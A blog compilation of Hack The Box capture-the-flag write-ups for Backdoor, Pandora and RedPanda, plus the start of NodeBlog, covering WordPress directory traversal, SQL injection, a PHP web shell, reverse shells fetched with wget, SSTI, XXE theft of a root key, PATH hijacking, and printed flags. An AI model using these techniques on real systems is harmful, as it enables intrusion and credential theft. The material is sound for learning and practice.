Backdoor is an easy Linux box created by hkabubaker17 on Hack The Back and I’m going to hack it. Hello world, welcome to Haxez where today I will be sneaking in through the backdoor and stealing all the flags. Backdoors used to be a thing and weren’t just a Hollywood cliche put into cheesy hacker films. Backdoors were used by programmers or hackers to access systems or elevate their privileges at a later date.
Backdoor Enumeration
I’m going to try to steer clear of bad jokes and avoid using puns in this write-up. First, I pinged the box to see if it was online and then ran a Nmap scan targeting all ports and checking for service versions. As a result, we can see that port 22 for SSH and port 80 for HTTP were open. Furthermore, we can see that this is likely an ubuntu box running Apache with a WordPress content management system. Finally, we see port 1337 with not a lot of information.
I did a quick netcat connection to port 1337 but didn’t get anything back. For that reason, I’m going to go look at the application instead. As you can see below, it is using WordPress and a default WordPress theme. If we hover over the home link we can see that the domain name for the application is backdoor.htb.
Adding that name to our host file and specifying the IP address will let us view the application via the domain.
┌──(kali㉿kali)-[~/HTB/Backdoor] └─$ sudo echo "10.129.96.68 backdoor.htb" | sudo tee -a /etc/hosts
Backdoor WordPress Plugins
I ran an API WPScan against the target and it found a lot of vulnerabilities that we could use to exploit this box. However, none of those vulnerabilities was the intended method of compromising this box. The method of exploiting this box is supposed to be through a plugin called ‘ebook-download’. However, WPScan didn’t identify any plugins. Therefore, I navigated to the ‘/wp-content/plugins’ directory and as shown below it allowed me to list out the contents of the directory and find the vulnerable plugin.
Open directory listing feels like I’ve been fighting a robot and managed to damage it enough to see some of its internal circuits. That’s not relevant at all but I just thought I’d tell you. I need to make a retraction here, WPScan did find the plugin and reported the vulnerability but only when using aggressive mode. I didn’t know aggressive mode existed so I still wouldn’t have found it.
Ebook-Download Directory Traversal
As WPScan didn’t find this plugin, I’m not sure I would have either. A standard file and directory brute-forcing tool would have found it but I don’t know if I would have seen it as an attack vector. After discovering the plugin, I googled it and found a directory traversal vulnerability. You can find the vulnerability >>HERE<< on Exploit DB. Navigating to the URL will automatically download the WordPress configuration file or you can use wget. From the file, we’re able to identify the database user ‘wordpressuser’ and password ‘MQYBJSaD#DxG6qbm’ I presume we can log in as admin with this password and upload a shell.
It wasn’t possible to log in with that password as the ‘Admin’ user. However, we can still enumerate the system with the directory traversal vulnerability. Despite getting this far, I doubt I would have made it any further without a walkthrough. Do you ever watch an IppSec video and contemplate whether you’re smart enough to be a penetration tester? I do. Some of the techniques he uses completely blow my mind. I understand them but I never would have thought of them. The command below uses the directory traversal vulnerability to steal information from all the system processes.
┌──(kali㉿kali)-[~/HTB/Backdoor/pid] └─$ for i in $(seq 0 1000); do curl http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/$i/cmdline --output - | cut -d'/' -f 8- | sed 's/<script.*//g' > $i; done
Next, we can use the find command to go through all the files bigger than a specific size and cat the output of those files.
┌──(kali㉿kali)-[~/HTB/Backdoor/pid] └─$ for i in $(find . -type f -size +20c); do cat $i | sed 's/cmdline/\t/g'; done
Try The Backdoor
if I were gonna hack some heavy metal, I’d, uh, work my way back through some low security, and try the back door.
Looking through the process list we can see that ‘gsbserver’ is the service that was listening on port 1337. GDBserver is a program that allows a remote machine to debug another machine’s programs using the GNU Debugger (GDB). It provides a way for developers to debug programs on a target system that may not have enough resources to run the full GDB. GDBserver runs on the target machine and communicates with GDB on the host machine over a network connection. It allows developers to set breakpoints, examine variables, and step through code as if they were running the debugger locally. GDBserver is commonly used in embedded systems and other scenarios where the target system has limited resources or does not have a graphical interface. Metasploit has an exploit module for gdbserver.
The exploit completes and we have a shell. From here we can capture the user flag.
meterpreter > shell Process 21916 created. Channel 1 created. ls user.txt cat user.txt c9e▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓9d0
Back To Enumeration
I span up a Python webserver and downloaded LinPEAS onto the target. Below, you can see the output which shows the yellow and red highlighted privilege escalation vectors. It shows 2 CVE’s which I believe to be ‘pkexec’ and ‘polkit’. However, I don’t think these are the intended paths to root. Looking a bit deeper we can see that there is a ‘screen’ session running as run. If we can connect to that then we would be root and own the system.
Privilege Escalation
This is a fairly trivial privilege escalation provided you found the ‘screen’ process. We can confirm the session by listing out the screen sessions.
user@Backdoor:~$ screen -ls root/ screen -ls root/ There is a suitable screen on: 1006.root (03/25/23 08:00:29) (Multi, detached) 1 Socket in /run/screen/S-root.
You can then resume the session with the ‘-r’ argument and the name of the session.
By completing the Backdoor vulnerable Linux box I learnt a few new tricks. First was the WordPress Ebook plugin directory traversal vulnerability. Additionally, I learnt that a lot of WordPress installations have a directory listing in their plugins directory due to a missing index page. The trick to steal the process information to identify what was listening on port 1337 was a great techqniue. Furthermore, I didn’t know GDBServer was a thing. Sure I know about GDB and have used it a few times but I digress. This was a fun box and I learnt some new techniques which I will hopefully retain.
Pandora is an easy retired box created by TheCyberGeek and dmw0ng from Hack The Box. Hello world, welcome to haxez where today we’re looking at Pandora. I don’t know much about this machine other than it’s a Linux box, so let’s get cracking. For those who accidentally stumbled upon this writeup looking for the CTF writeup, I’m sorry. I’m going through all the easy boxes and this was the next one alphabetically.
Enumerating Pandora
After pinging the box to ensure that it was online, I ran a Nmap scan to enumerate all ports. As shown below, Pandora had ports 22 for SSH and 80 for HTTP open. Furthermore, the responses indicate that it is an Ubuntu-based box.
┌──(kali㉿kali)-[~/HTB/Pandora] └─$ sudo nmap -sC -sV -p- 10.129.238.192 -oA pandora Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 07:39 GMT Nmap scan report for 10.129.238.192 Host is up (0.015s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 24c295a5c30b3ff3173c68d7af2b5338 (RSA) | 256 b1417799469a6c5dd2982fc0329ace03 (ECDSA) |_ 256 e736433ba9478a190158b2bc89f65108 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Play | Landing Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.14 seconds
Enumerating Pandora Website
We all know that it’s unlikely to be an SSH attack so let’s go take a look at the web application. Therefore, I popped the IP address in my browser and the page loaded. As shown below, the application appears to be for a network monitoring service.
However, we do notice a domain of ‘panda.htb’ on the front page. Let’s add that to our host file and see if we get a different page.
┌──(kali㉿kali)-[~/HTB/Pandora] └─$ sudo echo "10.129.238.192 panda.htb" | sudo tee -a /etc/hosts 10.129.238.192 panda.htb
Unfortunately, the website doesn’t change when visiting the domain name. Furthermore, there isn’t a lot on the web page for us to target. There is a contact form but that doesn’t appear to allow us to do much. Perhaps we missed something on our initial port scan.
Back To Enumerating
As we haven’t found much on the web, let’s run another port scan but this time we will target UDP. Initially, we only performed a TCP scan as UDP tends to take a long time to enumerate. UDP is stateless which means we don’t SYN SYN ACK ACK with. We just blast it with data and hope it gets the message. As you can imagine, that means it’s difficult to identify open ports. Anyway, we discovered that port 161 for SNMP is open.
┌──(kali㉿kali)-[~/HTB/Pandora] └─$ sudo nmap -sU 10.129.238.192 --min-rate 1000 -T4 -oA pandora-udp Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-24 07:56 GMT Nmap scan report for panda.htb (10.129.238.192) Host is up (0.012s latency). Not shown: 989 open|filtered udp ports (no-response) PORT STATE SERVICE 161/udp open snmp 1031/udp closed iad2 1044/udp closed dcutility 1080/udp closed socks 16739/udp closed unknown 19600/udp closed unknown 20380/udp closed unknown 31337/udp closed BackOrifice 34580/udp closed unknown 49172/udp closed unknown 51554/udp closed unknown Nmap done: 1 IP address (1 host up) scanned in 5.29 seconds
Enumerating Pandora SNMP
I’m not being very creative with the titles this morning but let’s go and enumerate SNMP. SNMP is a service that allows for network monitoring. It also has well-known passwords or strings. Furthermore, it is quite common that these default strings are left in place. We can try to perform an SNMP walk against the host to view the data. However, there is a couple of things we should do first like installing ‘snmp-mibs-downloader’
Once installed, head to your SNMP configuration in ‘/etc/snmp/snmp.conf’ and comment out the ‘mibs’ line.
Next, we can run ‘snmpbulkwalk’ which is faster than the traditional ‘snmpwalk’ tool. I’ve snipped the output but below but you can see the command I ran, which I stole from IppSec’s video.
┌──(kali㉿kali)-[~/HTB/Pandora] └─$ snmpbulkwalk -Cr1000 -c public -v2c 10.129.238.192 . | tee -a snmp3 SNMPv2-MIB::sysDescr.0 = STRING: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10 DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (244685) 0:40:46.85 SNMPv2-MIB::sysContact.0 = STRING: Daniel SNMPv2-MIB::sysName.0 = STRING: pandora SNMPv2-MIB::sysLocation.0 = STRING: Mississippi SNMPv2-MIB::sysServices.0 = INTEGER: 72
Sorting SNMP Output
Attempting to sort this myself without watching a video was a futile effort. First, I didn’t really know what I was looking for. Additionally, my grep-fu is nowhere near as strong as IppSec’s. I definitely need to take my ass over to OverTheWire and brush up on a few things. Who has the time though when I have all these boxes to hack? Anyway, you can see the grep sort command below.
This allows us to show the SNMP names in order of their reoccurrence in the output. I wasn’t too sure what I was supposed to be looking at here but apparently, it was the ‘hrSWRun’. We can use the grep and ‘less’ tools to filter the output. Also, here are some useful ‘less’ commands from StackExchange.
By using grep to search for ‘hrSWRun’ and piping it to less we can scroll through the output. Or we can repeatedly hit ‘d’ to jump half a page which makes it faster. Eventually, we find ‘hrSWRunParameters’ which has some interesting information. It seems the user daniel is running a script called ‘host_check’ and was kind enough to leave their credentials behind.
Now that we have some credentials, we can try to SSH to the box. Success, we’re able to access the box with those credentials. Unfortunately, it seems that daniel has nothing in his home directory that includes no user flag. It looks like that’s in matt’s home directory so we’re going to have to find a way to his user or to root but at least we have a foothold.
┌──(kali㉿kali)-[~/HTB/Pandora] └─$ ssh [email protected] daniel@pandora:~$ ls /home/daniel daniel@pandora:~$ daniel@pandora:~$ ls /home/matt user.txt
Authenticated Pandora Enumeration
I span up a Python webserver and used it to transfer LinPEAS to the box. Then, I ran it as the daniel user and there are two CVEs that will potentially allow us to escalate our privileges to root. However, I think these are unintended probably due to the box being made before the discovery of the vulnerabilities. I have this ultimate power in my grasp but I’m not going to use it. Let’s try and stick to the intended path.
Moving on, we can see that there is another domain within the apache2 pandora configuration file. The name of the site is ‘pandora.panda.htb’. We can add that host to our host file but visiting it just loads the existing page as this host is only listening on localhost.
Pandora Port Forwarding
We know that we have a hidden web application listening on localhost on port 80. In order to access that host we need to forward port 80 on the target to our host on a different port. This can be done through ssh by issuing the following command.
This SQL injection is present because the SQL statement doesn’t use prepared statements as you can see below. Normally, you would use a question mark in place of the parameters. It’s probably best to go and read about prepared statements elsewhere as I will do a terrible job of explaining them.
Lets capture a request ‘/pandora_console/include/chart_generator.php?session_id=1’ with Burp and then save that request to file.
We can then use SQLMap against the request and try to identify the SQL injection.
SQL Injection
As shown in the output below, SQLMap has identified a number of SQL injection vulnerabilities in the session_id parameter.
sqlmap identified the following injection point(s) with a total of 251 HTTP(s) requests: --- Parameter: session_id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: session_id=-4413' OR 8445=8445#
Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: session_id=1' OR (SELECT 4708 FROM(SELECT COUNT(*),CONCAT(0x717a716a71,(SELECT (ELT(4708=4708,1))),0x7176767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tRCY
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: session_id=1' AND (SELECT 7661 FROM (SELECT(SLEEP(5)))msho)-- jpVE
Now that we have confirmed SQL injection, let’s quickly go through enumerating the database, tables, and columns and eventually dumping the data. First, we start with the database names.
Ok, we now have the table names and I believe the table we need to look at is the ‘tsuario’ so let’s dump the column. I’ve snipped the output a bit to make it smaller but it looks like we have a lot of columns here.
The output is an absolute mess but fortunately, it saved it to a CSV file for us. Let’s go take a look at it.
Unfortunately, none of the users dumped is an admin user. We could try and crack matt’s password but let’s try and steal the admin user’s session instead.
Stealing and Creating Sessions
Let’s head to the sessions table and dump the contents of that. Perhaps the admin user has an active session that we can steal. We would do this by stealing the value of the id_session and creating a cookie for it with that value.
Unfortunately, it seems that there are no admin sessions. Time to see what the pros did in order to get passed this part. I understand what the SQL injection is doing but I don’t understand why this works. Since there was no admin session in this table, how were we able to steal it and log in? I don’t have the answer but anyway, the URL below will grant us access.
Next, open a new tab and visit the application and we will be logged in as admin.
Catching Shells
Now we need to get a reverse shell as this user so that we have higher privileges on the server than daniel. First, create a PHP file with a command shell. Then we can use the file manager upload feature to load the shell.
<?PHP system($_REQUEST['cmd']); ?>
Fortunately, there appears to be no validation on the things we upload. The file was uploaded successfully so we should now be able to pass arguments to that PHP shell in order to catch a reverse shell. First, let’s test whether our shell is working by finding out who we are.
Let’s use this to get ourselves a reverse shell. First, grab the ‘cmd=id’ request in Burp and send it to Repeater. Next, change the request method so that it is a POST request instead of a GET request. You can now use this method to set up your reverse shell and get access to the box. I was following along with IppSec but for some reason, it didn’t like the way he was doing it. So instead, I created a script called ‘rev.sh’ and used wget to download it.
I then used ‘chmod +x rev.sh’ to make it executable. Please note, I had to URL encode that request as it didn’t work without doing so. I then used ‘bash ./rev.sh’ to execute it and get a reverse shell. This too had to be URL encoded for it to work.
We now have access to the box as matt and we have our user flag.
┌──(kali㉿kali)-[~] └─$ sudo nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.14.126] from (UNKNOWN) [10.129.238.192] 43908 bash: cannot set terminal process group (1027): Inappropriate ioctl for device bash: no job control in this shell matt@pandora:/var/www/pandora/pandora_console/images$ whoami whoami matt matt@pandora:/var/www/pandora/pandora_console/images$ cat /home/matt/user.txt cat /home/matt/user.txt a16e863b13ef23e70c1e8163b4b52023
┌──(kali㉿kali)-[~] └─$ stty raw -echo; fg [1] + continued sudo nc -lvnp 9001 matt@pandora:/var/www/pandora/pandora_console/images$
Done, if we run lLinPEAS again as matt we can see that there is an interesting file owned by root but also part of the matt group. Furthermore, this binary has the SUID bit set so this is likely the intended path to root.
Let’s download this file using netcat and see what’s going on. First, we use netcat to send the binary to our local machine. I thought this was cool so I wanted to include it. Plus we don’t have strings on the target box.
Running strings on the binary we can see that it is calling tar without an absolute path. This means we can create our own tar binary with any command we want. Then, we can change our path to the location of the tar binary so that when the script is executed, it runs our command.
I tried to exploit this with our current shell but there is something off with it. I threw an SSH key into Matt’s authorized keys and logged in as Matt via SSH.
Pandora Privilege Escalation
We already know how to escalate our privileges so let’s do it. First, we need to tell the system that our path is going to be ‘/tmp’.
matt@pandora:/tmp$ export PATH=/tmp:$PATH
Now we need a payload so let’s echo the path to bash into a file called tar and make that file executable.
matt@pandora:/tmp$ echo /bin/bash > tar matt@pandora:/tmp$ cat tar /bin/bash matt@pandora:/tmp$ chmod +x tar
Finally, we can run the pandora_backup binary that’s owned by root and has SUID set. We are now root and have access to the root.txt flag.
matt@pandora:/tmp$ /usr/bin/pandora_backup PandoraFMS Backup Utility Now attempting to backup PandoraFMS client root@pandora:/tmp# id uid=0(root) gid=1000(matt) groups=1000(matt) root@pandora:/tmp# cat /root/root.txt 5d1ea2b90f7827c0b7e4f1caba9f9d92
Pandora Review
On reflection, this wasn’t a difficult box but I think we went about it in a difficult way. I think if we had cracked Matt’s password or stolen Matt’s session then I would have found it easier. The privilege escalation was easy enough but the path to Matt seemed overly complex but I don’t think it was the intended way. Anyway, I enjoyed it.
Hello world and welcome to Haxez, today I will be taking on the “easy” Hack The Box Machine RedPanda. I put “easy” in quotes because attempting to beat this box was harder than a typical easy box. However, the last two I have completed have both been more difficult than I have come to expect. This box requires some web enumeration and knowledge of SSTI or Service Side Template Injection. Then it gets crazy and I will do my best to explain it when we get there. Please be advised that I couldn’t solve this without the official walkthrough and IppSec’s video. As such, the techniques you see will not be unique.
RedPanda Enumeration
First things first, let’s find out what we’re dealing with. I ran Nmap against the box targeting all ports, requesting service versions and I put the ‘-A’ flag on there to show this RedPanda that I wasn’t messing around. After a while, the scan came back and ports 22 for ssh and 8080 for HTTP were open. I’ve snipped a bunch of the output off as it wasn’t of much value.
┌─[joe@parrot]─[~] └──╼ $sudo nmap -sC -sV -O -A 10.129.247.33 [sudo] password for joe: Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-13 10:44 GMT Nmap scan report for 10.129.247.33 Host is up (0.034s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA) | 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA) |_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519) 8080/tcp open http-proxy |_http-title: Red Panda Search | Made with Spring Boot |_http-open-proxy: Proxy might be redirecting requests | fingerprint-strings: |_ Request</h1></body></html> Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 143/tcp) HOP RTT ADDRESS 1 30.70 ms 10.10.14.1 2 62.13 ms 10.129.247.33 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 32.62 seconds
Panda Power
As HTTP was the only thing for us to investigate, I opened Firefox and started poking around. Sites like this remind me of the old internet. When everyone had a website just for fun and not just for commerce. This website is for photos of Red Pandas… that’s it. How cool is that, bring the old internet back. Anyway, looking around the site there didn’t appear to be much functionality.
However, there was a search functionality that I used to gather more information about the technologies in use. As you can see below, I captured the request in Burp and changed the HTTP request method from POST to GET. Consequently, this produced an error message which revealed the type of application in use. The error message reports “Whitelabel Error Page” which when googled reveals that it’s a Spring Boot error.
Fuzzy Panda
I used ffuf to fuzz the application to find special characters that caused the application to error. Identically to IppSec, I used the ‘SecLists/master/Fuzzing/special-chars.txt’ wordlist. As shown below, there were a number of characters that resulted in the application producing a 500 error. I’m not great at testing applications but I tend to check the response length, response time and HTTP response code for indications of a vulnerability. In order to do this, I save the request from burp and changed the value of the name parameter to FUZZ. This way ffuf can identify what needs to be fuzzed.
The majority of special characters were handled correctly. However, the backslash, plus symbol and squiggly brackets all produced a 500 error. Squiggly brackets can be used to perform Server Side Template Injection or SSTI attacks. SSTI is when the threat actor injects code into a server-side template that then gets processed by the server. For example, if you were to submit ‘{{7*7}}’ to the application and the response returned 49, you could presume that the application was susceptible to SSTI. Go to HackTricks for a better explanation.
In summary, we know that the technology being used is Spring Boot. Furthermore, we know that the application is likely vulnerable to Server Side Template Injection. Lucky for us, HackTricks have already done the work and have payloads for these exact conditions. The payload below, when executed should execute the id command on the server and return the results back in the response.
RedPanda Pawhold
We have code execution via Server Side Template Injection. The next step was to leverage this to get a reverse shell. First, I created a bash script on my local host that would create a TCP connection back to my IP address on port 1337.
Next, I span up a Python3 web server in the same directory as the bash script. I then visited the URL in my browser to confirm the script was accessible. I right-clicked the script and copied the URL.
┌─[joe@parrot]─[~/RedPanda] └──╼ $python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Then, I created a netcat listener on port 1337 so that when the script is executed on the target server, something is there to catch it when it makes the connection attempt.
I then modified the payload so that it would perform a ‘wget’ to the bash script and download it.
Submitting this command to the search box or via the name parameter in Burp appeared to do the trick. However, I had to change the permissions on the file before I could execute it. You could argue that I should have just used ‘chmod +x’ instead of ‘chmod 777’ but I don’t care, not my circus, not my pandas.
I sent one final request to the server to politely ask it to execute my script. The application hung.
But sure enough, I got a reverse shell. This dropped us into a shell as the ‘woodenk’ user. From here I was able to grab the user flag.
┌─[joe@parrot]─[~/RedPanda] └──╼ $sudo nc -lvnp 1337 [sudo] password for joe: listening on [any] 1337 ... connect to [10.10.14.126] from (UNKNOWN) [10.129.247.33] 44842 woodenk@redpanda:/tmp/hsperfdata_woodenk$ cat /home/woodenk/user.txt cat /home/woodenk/user.txt 10a▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓caf
Things Get Really Hardcore
It was about this time that I had fallen into a false sense of security. I knew what I was doing, so far so good, this was easy. Well, things were about to take a turn. On easy Linx machines, I would normally expect to see a script that calls a binary without an absolute path. Or perhaps you have ‘sudo’ that lets you run a ‘SUID’ binary with a well-known escape. I would have even been happy with a kernel exploit. A well-known public exploits that you can find easily with tools like LinEnum or LinPEAS. NOPE!
Now that we have access to the box, we should upgrade our shell. We’re civilised human beings after all. Why wouldn’t we want the full features available to us? Using the Python stty trick I was able to upgrade my shell to a fully functional one.
Next, I threw LinEnum and LinPEAS onto my Python web server and downloaded them to /tmp on RedPanda. I made them executable and ran them. I found nothing! Not knowing what to do next, I downloaded the official walkthrough and visited Youtube. Using the official walkthrough I was able to locate the credentials stored in the following file. It’s odd that neither of the enumeration scripts found them. They were quite obviously credentials.
The credentials in that file were for the user ‘woodenk’ and provided SSH access to the box. However, it probably isn’t a good idea to SSH to the box. The reason why is that the application process that we hacked to get our reverse shell is a member of the logs group. The user ‘woodenk’ is not a member of the logs group. We will need this group’s permission to perform our privilege escalation (I think) and logging in via SSH will remove it from us. So while we’re logged in as ‘woodenk’ and shouldn’t be in the logs group, the process that we hacked is and thus we are in the logs group. I have no idea how that works.
Finding Files
By this point, I was lost completely and just following along with IppSec’s video. I will try to keep things short and sweet but if you want a detailed explanation of the privilege escalation, go watch his video. We start by looking for files that belong to the logs group. The output below shows that the file’s user owner is root but the group owner is logs. This is interesting.
woodenk@redpanda:find / -group logs 2>/dev/null /opt/panda_search/redpanda.log woodenk@redpanda:/opt/panda_search$ ls -laSh total 48K -rwxrwxr-x 1 root root 9.9K Jun 14 2022 mvnw -rw-rw-r-- 1 root root 6.5K Feb 21 2022 mvnw.cmd drwxrwxr-x 5 root root 4.0K Jun 14 2022 . drwxr-xr-x 5 root root 4.0K Jun 23 2022 .. drwxrwxr-x 3 root root 4.0K Jun 14 2022 .mvn drwxrwxr-x 4 root root 4.0K Jun 14 2022 src drwxrwxr-x 9 root root 4.0K Jun 22 2022 target -rw-rw-r-- 1 root root 2.6K Apr 27 2022 pom.xml -rw-rw-r-- 1 root logs 1 Mar 13 12:18 redpanda.log
So next we search for references to this log file in other locations on the system. There is likely to be a binary or script somewhere doing something with this log file. As you can see from the output below, there are two java applications that mention the redpanda.log file. One in the log parser app and one in panda_search app. I don’t know much about Java so a lot of this is new to me.
I haven’t included the code and I’m not going to try and explain it. After watching IppSec’s video I somewhat understand what’s going on but I couldn’t tell you which part of the binary does what. However, from what I understand these two binaries do a number of things. They read the redpanda.log file and if they see a request for an image, they process that image and then write the metadata author attribute to an XML file. So, if we create an image and modify the metadata to perform a file traversal to an XML file of our own creation, we can then use XML Entity Injection to execute code and retrieve files that we’re not supposed to.
Capturing A Panda
First, we need to capture a panda. Once we have this panda, we can modify its metadata using exiftool and give it a different author attribute. The snippet below shows that I have changed the author attribute to ‘../dev/shm/haxez’. So now, when it attempts to write to the XML file it will first perform a path traversal up out of the ‘/credits’ directory (where the XML is usually stored) and into ‘/dev/shm’ where our haxez XML file is stored. We caught this panda in the ‘img’ directory but when releasing it back to the wild we won’t have permission to put him back there. Probably best to drop him off in the /dev/shm directory and let him make his own way back.
┌─[joe@parrot]─[~/RedPanda] └──╼ $exiftool -Artist=../dev/shm/haxez greg.jpg Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - greg.jpg 1 image files updated ┌─[joe@parrot]─[~/RedPanda] └──╼ $exiftool greg.jpg ExifTool Version Number : 12.16 File Name : greg.jpg Directory : . File Size : 100 KiB File Modification Date/Time : 2023:03:13 13:08:39+00:00 File Access Date/Time : 2023:03:13 13:08:39+00:00 File Inode Change Date/Time : 2023:03:13 13:08:39+00:00 File Permissions : rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Exif Byte Order : Big-endian (Motorola, MM) Orientation : Horizontal (normal) Artist : ../dev/shm/haxez
XML Entity Injection Attack
So when the cronjob runs, it will see the Artist value in the image and traverse directories from credits up a directory to /credits/../dev/shm/haxez_creds.xml and look for a haxez_creds.xml file. Then in that file, we perform an XML Entity Injection attack to steal the root user’s private key. This is not easy! Why is this machine marked as easy?! Let’s steal an XML template from the /credits directory and modify it with our payload. An example of this can be found on HackTricks. As you can see from the snippet below, we specify the root user’s private key in the entity entry. Then, further down we specify the location where we want the contents of that file to be written to (I think).
Triggering The Exploit
In order for the exploit to be triggered, we need to put something in the redpanda.log file. This is why we need the logs group permission. The snippet below shows me echoing a fake request to the image we created. It includes a traversal to our /dev/shm directory where are panda was released back into the wild. Then when the corn job runs, it finds the image, reads the metadata, executes the XML entity injection and saves the root user’s private key in our XML file.
woodenk@redpanda:/opt/panda_search$ cat redpanda.log 200||10.10.14.126||Mozilla/5.0 (Windows NT 10.0; rv78.0) Gecko/20100101 Firefox/78.0||/../../../../../../../../dev/shm/haxez.jpg
Got root?
After twiddling our thumbs for a bit, and waiting for the cronjob to execute we can cat the XML file. As you can see from the snippet below it now contains the root user’s private key. We can then save this key locally, give it 600 permissions and use it to SSH to the server as the root user and capture the root flag.
┌─[joe@parrot]─[~/RedPanda] └──╼ $ssh -i key [email protected] Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon 13 Mar 2023 01:25:21 PM UTC System load: 0.02 Usage of /: 81.0% of 4.30GB Memory usage: 50% Swap usage: 0% Processes: 225 Users logged in: 1 IPv4 address for eth0: 10.129.247.33 IPv6 address for eth0: dead:beef::250:56ff:fe96:bf03 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
I definitely don’t agree with the easy categorisation of this box. This box was at least a medium-difficulty box. The reason I say that is because most of the easy boxes I have done (about 45 at the time of writing) make it easier to understand what needs to be done. Normally the privilege escalation will be staring you in the face but you need to work out how to trigger it. Whether it’s due to my lack of knowledge of Java or something else I’m missing, I had no clue what I was expected to do here. Anyway I wont rant anymore. Glad this one is over.
NodeBlog is a retired easy Linux machine created by IppSec on Hack The Box. I’m looking forward to conquering this beast. Hello world, welcome to haxez. I haven’t done much with Node JS and NoSQL so this is going to be a learning experience for me. As a result, this write-up is probably going to follow the exact methodology used by IppSec in his walkthrough video.
NodeBlog Enumeration
In the world of hacking the one with the most information is the king or something like that. The more information we have about the target box, the better. First, I ran a ping against the box and it responded so I performed a Nmap scan. As you can see from the results below we have port 22 for SSH and port 5000 for HTTP which is interesting. We can also see that it is using Node.js Express.
┌──(kali㉿kali)-[~/NodeBlog] └─$ sudo nmap -sC -sV -p- -A 10.129.239.132 -oA nodeblog [sudo] password for kali: Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-23 08:13 GMT Nmap scan report for 10.129.239.132 Host is up (0.013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ea8421a3224a7df9b525517983a4f5f2 (RSA) | 256 b8399ef488beaa01732d10fb447f8461 (ECDSA) |_ 256 2221e9f485908745161f733641ee3b32 (ED25519) 5000/tcp open http Node.js (Express middleware) |_http-title: Blog No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint:
Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 8888/tcp) HOP RTT ADDRESS 1 12.75 ms 10.10.14.1 2 13.06 ms 10.129.239.132 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 40.32 seconds
Username Enumeration
Since SSH is unlikely our method of gaining a foothold, we should go and take a look at the web application on port 5000. The NodeBlog blog has a single post about the UHC qualifiers and some links to external resources like Twitter and Discord.
We do have a login page though, navigating to it and submitting admin for the username and admin for the password tells us we have an incorrect password. Interesting, surely that should have ‘invalid credentials’ instead.
Testing this further, we can confirm that we do in fact have username enumeration. By submitting an incorrect username we get an error message informing us that the username is invalid. This is definitely username enumeration and we could exploit this by running Burp Intruder against it with a payload of usernames.
The MEAN Stack
I’m 5 minutes into the video and am already learning stuff. IppSec pointed out that because this application is using Node JS, it is unlikely to be using MySQL. MySQL is commonly found in the LAMP stack (Linux, Apache, PHP, MySQL). As a result, it is unlikely vulnerable to SQL injection attacks that target MySQL databases.
The MEAN stack is a popular web development technology stack that includes four open-source components. MongoDB, A NoSQL database that stores data in a JSON-like format. Express.js, A server-side JavaScript framework that provides a set of tools and features for building web applications. Angular, A client-side JavaScript framework that allows developers to create dynamic and interactive user interfaces. Node.js, A server-side JavaScript runtime that allows developers to build scalable and fast web applications.
Together, these four technologies form the MEAN stack, which provides a full-stack JavaScript development environment. MEAN stack is a popular choice for web developers who prefer to use a single language (JavaScript) for both client-side and server-side development, as well as for building real-time web applications.
Honestly, I feel like an idiot for not knowing this and now that I know this. It has been a massive missing piece to the puzzle of web application security assessments. I can’t wait to learn more.
Attack The MEAN Stack
